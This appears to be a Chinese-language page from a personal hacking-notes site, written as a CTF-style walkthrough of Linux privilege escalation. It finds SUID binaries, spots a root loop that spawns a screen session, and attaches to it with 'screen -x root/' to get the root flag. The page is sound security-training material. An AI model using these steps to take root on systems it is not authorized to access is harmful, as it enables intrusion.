> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-screen-linux-privilege-escalation.md).

# SUID screen - Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（screen）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

#### SUID 二进制文件识别

我们将使用以下命令查找系统中启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/7919fc6d348c0f675b0395695f6c4cf8e3c6f025" alt=""><figcaption></figcaption></figure>

#### Screen 进程分析

要查看当前与 Screen 相关的进程，我们使用以下命令：

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/ab5e492b8e0f1f2ec4fa006af64ff555ebae430a" alt=""><figcaption></figcaption></figure></div>

我们发现以下正在运行的进程：

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

上述进程表明，如果 `/var/run/screen/S-root/` 文件夹为空，Screen 就会被配置为创建一个 root 会话。通过这种配置，我们可以使用 Screen 获得 root 访问权限。

```bash
screen -x root/
```

### root.txt flag :)

以 root 身份访问 Screen 后，你现在拥有管理员权限。

<figure><img src="/files/496def476abed37de55ac5a681aa7287111f1807" alt=""><figcaption></figcaption></figure>


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